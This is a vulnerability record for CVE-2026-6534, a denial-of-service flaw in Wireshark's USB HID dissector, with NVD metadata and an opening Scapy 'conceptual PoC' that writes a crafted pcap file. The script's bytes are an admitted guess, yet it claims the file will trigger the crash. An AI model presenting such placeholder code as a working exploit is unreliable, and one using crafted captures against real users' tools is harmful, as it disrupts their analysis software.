CVE-2026-6534

# This is a conceptual PoC for demonstration purposes. # It requires Scapy to generate a malformed packet. from scapy.all import * # Construct a raw USB HID packet that might trigger the infinite loop # Specific byte patterns would depend on the exact vulnerability details malicious_packet = Raw(b'\x00\x01\x02\x03\xFF\xFF\xFF\xFF') # Save to a pcap file wrpcap('cve_2026_6534_poc.pcap', malicious_packet) print("Malicious pcap file generated: cve_2026_6534_poc.pcap") print("Open this file with a vulnerable version of Wireshark to trigger the DoS.")

{"cve": {"id": "CVE-2026-6534", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:40.753", "lastModified": "2026-05-01T18:16:21.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "USB HID protocol dissector infinite loop in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndIncluding": "4.4.14", "matchCriteriaId": "77CF79F1-B53C-40A7-9570-A192D5A85ED6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndIncluding": "4.6.4", "matchCriteriaId": "B52139AE-161F-406A-B28D-F874CE8B68B6"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/21121", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-27.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21121", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}